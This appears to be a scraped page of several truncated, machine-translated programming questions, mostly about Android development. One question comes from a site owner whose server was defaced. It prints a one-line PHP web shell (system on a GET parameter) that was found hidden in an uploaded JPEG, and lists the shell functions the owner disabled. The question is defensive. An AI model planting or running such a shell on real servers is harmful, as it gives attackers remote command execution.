这是RecyclerView中我的项目的XML
<android.support.v7.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:card_view="http://schemas.android.com/apk/res-auto"
android:id="@+id/cvItems"
android:layout_height="wrap_content"
android:layout_width="fill_parent"
android:layout_margin="2dp"
card_view:cardElevation="0dp"
card_view:contentPadding="0dp"
card_view:cardBackgroundColor="#FFFFFF"
>
<LinearLayout
android:orientation="horizontal"
android:layout_height="fill_parent"
android:layout_width="fill_parent">
<TextView
android:layout_width="0dip"
android:layout_height="match_parent"
android:layout_weight="0.8"
android:id="@+id/tvContent"
android:textSize="15dp"
android:paddingLeft="5dp"
android:paddingRight="5dp" />
<CheckBox
android:id="@+id/cbSelect"
android:layout_width="0dip"
android:layout_weight="0.2"
android:layout_height="match_parent"
android:button="@drawable/cb_checked"
android:gravity="center_horizontal"
android:textAlignment="center"
android:layout_gravity="center_horizontal" />
</LinearLayout>
</android.support.v7.widget.CardView>
Run Code Online (Sandbox Code Playgroud)
这里是RecyclerView适配器,它为每个项目增加了上面的布局:
public class AdapterTrashIncome extends RecyclerView.Adapter<AdapterTrashIncome.ViewHolder> {
private ArrayList<ObjectIncome> myItems = new ArrayList<>();
public AdapterTrashIncome(ArrayList<ObjectIncome> getItems, Context context){
try {
mContext = context;
myItems = getItems;
}catch (Exception e){
Log.e(FILE_NAME, "51: " + e.toString());
e.printStackTrace();
}
}
public class ViewHolder extends RecyclerView.ViewHolder { …Run Code Online (Sandbox Code Playgroud) 这是我目前的sqlite代码:
Cursor c = sqlDatabase.rawQuery("select docid as _id, recipeID from " + TABLE_RECIPE_NAME +
" where " + KEY_ownerID + " = ? ", new String[] { ownerID});
Run Code Online (Sandbox Code Playgroud)
它工作正常,但当我尝试添加多个这样的地方:
Cursor c = sqlDatabase.rawQuery("select docid as _id, recipeID from " + TABLE_RECIPE_NAME +
" where " + KEY_ownerID + " = ?, " + KEY_partnerID + " = ?, " + KEY_advertiserID + " = ?, " + KEY_chefID + " = ?", new String[] { ownerID, partnerID, advertiserID, chefID }); …Run Code Online (Sandbox Code Playgroud) 我试过这个http://developer.android.com/guide/tutorials/views/hello-tabwidget.html,但是它使用了不赞成的tabactivity,eclipse建议我使用fragmentactivity代替它,它给了我一个样本(在工具提示上),但我认为它给我的样本真的很大..我只想要一个像游戏上面的url这样的简单标签..任何关于如何使用fragmentactivity来获得相同精确标签的样本,如url(点击选项卡上的按钮)不改变活动;而只是改变正在显示的内容)?
仅供参考,这是eclipse向我建议的样本(通过放大的工具提示):巨大的,不是吗?
@Deprecated不推荐使用此类.新应用程序应使用Fragments而不是此类; 要继续在旧设备上运行,您可以使用v4支持库,该库提供与DONUT兼容的Fragment API版本.
对于针对HONEYCOMB或更高版本开发的应用程序,通常使用新的ActionBar.newTab()和相关API在UI中显示选项卡,以便在其操作栏区域中放置选项卡.
TabActivity的替代也可以通过直接使用TabHost来实现.您需要定义一个正确使用带有TabWidget的TabHost的布局,以及一个显示选项卡内容的区域.
一个典型的例子是:
<TabHost
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@android:id/tabhost"
android:layout_width="match_parent"
android:layout_height="match_parent">
<LinearLayout
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="match_parent">
<TabWidget
android:id="@android:id/tabs"
android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_weight="0"/>
<FrameLayout
android:id="@android:id/tabcontent"
android:layout_width="0dp"
android:layout_height="0dp"
android:layout_weight="0"/>
<FrameLayout
android:id="@+android:id/realtabcontent"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"/>
</LinearLayout>
</TabHost>
Run Code Online (Sandbox Code Playgroud)
当用户在标签之间切换时,实现需要承担切换所显示内容的责任.
import java.util.HashMap;
import com.example.android.supportv4.R;
import android.content.Context;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentActivity;
import android.support.v4.app.FragmentTransaction;
import android.view.View;
import android.widget.TabHost;
/**
* This demonstrates how you can implement switching between the tabs of a
* TabHost through fragments. It uses a trick (see the …Run Code Online (Sandbox Code Playgroud) 首先我要坦白.我以前从未写过测试.我已经是一名程序员超过10年了,从来没有一次我发现需要编写一个正确的测试(或任何它所谓的),因为我编写的代码(我认为)可以很容易地手动测试.
现在我正在编写一个非常复杂的Android应用程序,而这个手动测试我正在做的是确保每个函数和类按预期运行会让我感到悲惨.所以现在我有点在黑暗中搜索如何让我的代码测试兼容(有这样的东西吗?)我应该从哪里开始.
我正在使用最新的Android Studio(1.2 Beta 3).我发现在'src'文件夹下,有一个'androidTest'文件夹,其下面有几个文件夹,包含一个文件ApplicationTest.java.这是ApplicationTest.java的内容
public class ApplicationTest extends ApplicationTestCase<Application> {
public ApplicationTest() {
super(Application.class);
}
}
Run Code Online (Sandbox Code Playgroud)
好的,现在回到我的应用程序.我想测试我编写的类AnalyzerOffline.java(位于main> java> com.code.imin.app下),因为它有非常复杂和大的代码.那我应该怎么开始呢?我试着读http://developer.android.com/tools/testing/testing_android.html,http://rexstjohn.com/unit-testing-with-android-studio/等,但我还是不知道从哪里开始 - 我觉得我在这里遗漏了一些东西,或者说某种程度上我对写作测试的看法或整个想法都是错误的.
那么请有人在这里给我看一些亮点吗?
昨天我的网站被组成了.攻击者将index.php文件更改为自己的文件(带有所有荣耀消息和问候语).我已经通知了托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何看起来很重要的原因,因为我仍然无法指出我们究竟是怎么做到的.服务器遭到攻击,但我认为我发现某些基于脚本的漏洞可能是罪魁祸首.
我们的网站有一个图像上传器表单,但是如果它们确实是图像文件而不是某些代码,则使用php getimagesize函数验证所有上传的图像.仅当图像类型为IMAGETYPE_GIF或IMAGETYPE_JPEG或IMAGETYPE_PNG时才会接受它们.否则,他们将无法上传文件.但是我发现一个上传的图像文件里面包含一个php脚本!您可以在此处下载图像.这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,你会在其中找到一个PHP代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Run Code Online (Sandbox Code Playgroud)
例如,图像上传到此位置(www.mysite.com/uploads/picodes.jpg).请注意,文件夹上传的权限是755.攻击者是否有任何方法可以执行系统(或任何其他命令,如passthru,因为我们发现另一个图像具有与上面相同的代码隐藏,但不是系统,它有passthru命令),例如,键入www.mysite.com/uploads/picodes.jpg?cmd=some命令 ?? 根据我的知识,它无法完成(真的很感激,如果有人可以证明我错了),除非攻击者可以将jpg文件重命名为php,即便如此,这些代码仍隐藏在图像内部(请参阅里面的图像文本编辑器,以了解我想说的是什么)
为了预防,我已经通过在php.ini中的disable_functions上添加它们来禁用这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system).
无论如何,我仍然认为攻击者不是通过网络获取访问权限,而是通过服务器利用,但我认为我的托管公司不这么认为.
我尝试使用此插件并按照readme.md文件中给出的说明进行操作.
1)这是我的html文件
<!DOCTYPE HTML>
<html>
<head>
<title>TryMakan Video</title>
<link rel="stylesheet" href="style.css" />
<script type="text/javascript" charset="utf-8" src="cordova-2.0.0.js"></script>
<script type="text/javascript" charset="utf-8" src="video.js"></script>
<script type="text/javascript">
function playVideo(){
window.plugins.videoPlayer.play("http://www.trymakan.my/wp-content/uploads/2011/09/NASI-AYAM-BEREMPAH-KAJANG.mp4");
}
</script>
</head> <body>
<a href="#" onClick="playVideo();">play</a>
</body></html>
Run Code Online (Sandbox Code Playgroud)
2)这是我的plugins.xml,它位于xml文件夹中
<?xml version="1.0" encoding="utf-8"?>
<plugins>
<plugin name="VideoPlayer" value="com.phonegap.plugins.video.VideoPlayer"/>
</plugins>
Run Code Online (Sandbox Code Playgroud)
3)我还将VideoPlayer.java复制到此文件夹src\com\phonegap\plugins\video
4)另外,有人说我还需要将插件添加到AndroidManifest.xml文件中,所以这是它的一个片段
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale"
android:label="@string/title_activity_main" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<action android:name="com.phonegap.plugins.video.VideoPlayer"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
Run Code Online (Sandbox Code Playgroud)
但是,当我点击"播放"时,log cat将返回此错误
08-08 04:54:15.823: I/Web Console(309): Error: Status=2 Message=Class not found at …Run Code Online (Sandbox Code Playgroud) 我正在使用来自http://jscolor.com/的颜色选择器
我试图将它附加到一些动态输入,但无济于事.动态输入,在页面加载时输入不存在,只有在用户点击某些内容后输入才可用.例如,我有一行数据,每行有不同的背景颜色.这行数据使用ajax加载.在每行的末尾,有一个编辑按钮.通过单击编辑按钮,它将显示所单击行的输入文本框.我想在用户点击输入文本框时调用jscolor选择器.我怎样才能做到这一点?
谢谢
这是我的recyclerView编码(部分):
expensesListCursor = dbc.listExpenses(selectedDate);
mLayoutManager = new LinearLayoutManager(getActivity());
rvExpenses.setLayoutManager(mLayoutManager);
rvExpenses.setItemAnimator(new DefaultItemAnimator());
mAdapter = new AdapterExpensesList(expensesListCursor,getActivity());
rvExpenses.setAdapter(mAdapter);
Run Code Online (Sandbox Code Playgroud)
这是我的dbc.ListExpenses的编写方式
public Cursor listExpenses(String date){
Cursor cursor;
cursor = database.query(MySQLiteHelper.TABLE_EXPENSES, new String[] {"rowid as _id", "description, cost"}, "date='" + date + "'", null, null, null, "_id asc");
if (cursor != null) {
cursor.moveToFirst();
}
return cursor;
}
Run Code Online (Sandbox Code Playgroud)
以下是AdapterExpensesList的编写方式
public class AdapterExpensesList extends RecyclerView.Adapter<AdapterExpensesList.ViewHolder> {
Cursor myDataCursor;
public AdapterExpensesList(Cursor expensesListCursor, Context context){
myDataCursor = expensesListCursor;
}
Run Code Online (Sandbox Code Playgroud)
正如您可能在上面看到的那样,我的RecyclerView中的项目直接来自光标.我现在的问题是,我想实现该功能以删除RecyclerView中的一些数据.从我在网上找到的例子来看,他们通常是这样做的:
private ArrayList<String> mDataset;
public void remove(String item) { …Run Code Online (Sandbox Code Playgroud) 几天前,当我试图学习如何使用Retrofit时,我发现一些教程在一些场合说,我们应该将ASyncTask与Retrofit一起使用.这让我很困惑,因为我的印象是我们使用Retrofit来避免使用ASyncTask.现在我已经很好地理解了Retrofit(足以使用它并将我所有的ASyncTask代码更改为Retrofit),我仍然没有找到一个很好的借口或理由将ASyncTask与Retrofit一起使用.或者我在这里遗漏了什么?
顺便说一下,我看到至少有3个不同的教程提到使用Retrofit和ASyncTask,但我再也找不到它了.我只能找到1,http://karanbalkar.com/2014/12/tutorial-94-using-retrofit-for-android/
以下是我调用DialogFragment的方法:
DialogSelectAccount myDiag=new DialogSelectAccount();
myDiag.show(ft,"Diag" );
Run Code Online (Sandbox Code Playgroud)
这是(部分)我的DialogFragment的创建方式:
public class DialogSelectAccount extends DialogFragment {
public DialogSelectAccount() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setRetainInstance(true);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.dialog_select_account, container, false);
tvMessage = (TextView) rootView.findViewById(R.id.tvMessage);
btnAccountPublic = (Button) rootView.findViewById(R.id.btnAccountPublic);
btnAccountEnterprise = (Button) rootView.findViewById(R.id.btnAccountEnterprise);
tvMessage.setText(message);
btnAccountPublic.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Login.setAccountType = 2;
dismiss();
}
});
btnAccountEnterprise.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Login.setAccountType …Run Code Online (Sandbox Code Playgroud) android android-layout android-fragments android-dialog android-dialogfragment